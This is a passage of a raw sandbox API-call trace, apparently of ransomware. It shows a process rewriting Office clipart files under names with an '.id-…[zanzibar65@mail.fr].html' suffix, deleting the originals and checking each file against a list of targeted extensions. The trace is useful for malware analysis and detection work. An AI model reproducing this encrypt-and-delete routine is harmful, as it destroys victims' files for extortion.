lpNumberOfBytesWritten=0x2ebfc9c*=0xee0, lpOverlapped=0x0) returned 1 [0059.773] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.773] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.773] SetEndOfFile (hFile=0x220) returned 1 [0059.773] CloseHandle (hObject=0x220) returned 1 [0059.773] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.773] SetEndOfFile (hFile=0x1c4) returned 1 [0059.774] CloseHandle (hObject=0x1c4) returned 1 [0059.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0059.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0059.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0059.775] lstrlenW (lpString=".doc") returned 4 [0059.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.775] lstrlenW (lpString=".docx") returned 5 [0059.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.775] lstrlenW (lpString=".pdf") returned 4 [0059.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.775] lstrlenW (lpString=".xls") returned 4 [0059.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.775] lstrlenW (lpString=".xlsx") returned 5 [0059.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.775] lstrlenW (lpString=".ppt") returned 4 [0059.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0059.775] lstrlenW (lpString=".zip") returned 4 [0059.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.775] lstrlenW (lpString=".rar") returned 4 [0059.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.775] lstrlenW (lpString=".bz2") returned 4 [0059.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.775] lstrlenW (lpString=".7z") returned 3 [0059.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0059.775] lstrlenW (lpString=".dbf") returned 4 [0059.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0059.776] lstrlenW (lpString=".1cd") returned 4 [0059.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0059.776] lstrlenW (lpString=".jpg") returned 4 [0059.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.776] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2436) returned 1 [0059.776] CloseHandle (hObject=0x1c4) returned 1 [0059.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0059.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0059.776] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.776] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.777] GetLastError () returned 0x0 [0059.777] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x984, lpOverlapped=0x0) returned 1 [0059.778] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x990, lpOverlapped=0x0) returned 1 [0059.779] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.779] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.779] SetEndOfFile (hFile=0x220) returned 1 [0059.779] CloseHandle (hObject=0x220) returned 1 [0059.779] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.779] SetEndOfFile (hFile=0x1c4) returned 1 [0059.780] CloseHandle (hObject=0x1c4) returned 1 [0059.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0059.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0059.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0059.781] lstrlenW (lpString=".doc") returned 4 [0059.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.781] lstrlenW (lpString=".docx") returned 5 [0059.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.781] lstrlenW (lpString=".pdf") returned 4 [0059.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.781] lstrlenW (lpString=".xls") returned 4 [0059.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.781] lstrlenW (lpString=".xlsx") returned 5 [0059.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.781] lstrlenW (lpString=".ppt") returned 4 [0059.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0059.781] lstrlenW (lpString=".zip") returned 4 [0059.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.781] lstrlenW (lpString=".rar") returned 4 [0059.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.781] lstrlenW (lpString=".bz2") returned 4 [0059.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.781] lstrlenW (lpString=".7z") returned 3 [0059.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0059.781] lstrlenW (lpString=".dbf") returned 4 [0059.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0059.781] lstrlenW (lpString=".1cd") returned 4 [0059.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0059.782] lstrlenW (lpString=".jpg") returned 4 [0059.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.782] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2732) returned 1 [0059.782] CloseHandle (hObject=0x1c4) returned 1 [0059.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0059.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0059.782] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.782] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.783] GetLastError () returned 0x0 [0059.783] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xaac, lpOverlapped=0x0) returned 1 [0059.784] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xab0, lpOverlapped=0x0) returned 1 [0059.785] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.785] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.785] SetEndOfFile (hFile=0x220) returned 1 [0059.785] CloseHandle (hObject=0x220) returned 1 [0059.785] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.785] SetEndOfFile (hFile=0x1c4) returned 1 [0059.786] CloseHandle (hObject=0x1c4) returned 1 [0059.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0059.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0059.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0059.787] lstrlenW (lpString=".doc") returned 4 [0059.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.787] lstrlenW (lpString=".docx") returned 5 [0059.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.787] lstrlenW (lpString=".pdf") returned 4 [0059.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.787] lstrlenW (lpString=".xls") returned 4 [0059.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.787] lstrlenW (lpString=".xlsx") returned 5 [0059.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.787] lstrlenW (lpString=".ppt") returned 4 [0059.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0059.787] lstrlenW (lpString=".zip") returned 4 [0059.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.787] lstrlenW (lpString=".rar") returned 4 [0059.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.787] lstrlenW (lpString=".bz2") returned 4 [0059.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.787] lstrlenW (lpString=".7z") returned 3 [0059.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0059.787] lstrlenW (lpString=".dbf") returned 4 [0059.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0059.787] lstrlenW (lpString=".1cd") returned 4 [0059.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0059.787] lstrlenW (lpString=".jpg") returned 4 [0059.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.788] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=7176) returned 1 [0059.788] CloseHandle (hObject=0x1c4) returned 1 [0059.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0059.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0059.789] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.789] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.789] GetLastError () returned 0x0 [0059.789] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x1c08, lpOverlapped=0x0) returned 1 [0059.791] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0059.792] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.792] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.792] SetEndOfFile (hFile=0x220) returned 1 [0059.792] CloseHandle (hObject=0x220) returned 1 [0059.792] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.792] SetEndOfFile (hFile=0x1c4) returned 1 [0059.793] CloseHandle (hObject=0x1c4) returned 1 [0059.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0059.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0059.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0059.794] lstrlenW (lpString=".doc") returned 4 [0059.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.794] lstrlenW (lpString=".docx") returned 5 [0059.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.794] lstrlenW (lpString=".pdf") returned 4 [0059.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.794] lstrlenW (lpString=".xls") returned 4 [0059.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.794] lstrlenW (lpString=".xlsx") returned 5 [0059.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.794] lstrlenW (lpString=".ppt") returned 4 [0059.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0059.794] lstrlenW (lpString=".zip") returned 4 [0059.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.794] lstrlenW (lpString=".rar") returned 4 [0059.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.794] lstrlenW (lpString=".bz2") returned 4 [0059.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.794] lstrlenW (lpString=".7z") returned 3 [0059.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0059.794] lstrlenW (lpString=".dbf") returned 4 [0059.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0059.794] lstrlenW (lpString=".1cd") returned 4 [0059.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0059.794] lstrlenW (lpString=".jpg") returned 4 [0059.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.795] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3494) returned 1 [0059.795] CloseHandle (hObject=0x1c4) returned 1 [0059.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0059.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0059.795] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.795] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.796] GetLastError () returned 0x0 [0059.796] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xda6, lpOverlapped=0x0) returned 1 [0059.797] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xdb0, lpOverlapped=0x0) returned 1 [0059.798] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.798] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.798] SetEndOfFile (hFile=0x220) returned 1 [0059.798] CloseHandle (hObject=0x220) returned 1 [0059.798] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.798] SetEndOfFile (hFile=0x1c4) returned 1 [0059.799] CloseHandle (hObject=0x1c4) returned 1 [0059.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0059.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0059.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0059.799] lstrlenW (lpString=".doc") returned 4 [0059.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.799] lstrlenW (lpString=".docx") returned 5 [0059.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.800] lstrlenW (lpString=".pdf") returned 4 [0059.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.800] lstrlenW (lpString=".xls") returned 4 [0059.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.800] lstrlenW (lpString=".xlsx") returned 5 [0059.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.800] lstrlenW (lpString=".ppt") returned 4 [0059.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0059.800] lstrlenW (lpString=".zip") returned 4 [0059.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.800] lstrlenW (lpString=".rar") returned 4 [0059.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.800] lstrlenW (lpString=".bz2") returned 4 [0059.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.800] lstrlenW (lpString=".7z") returned 3 [0059.800] 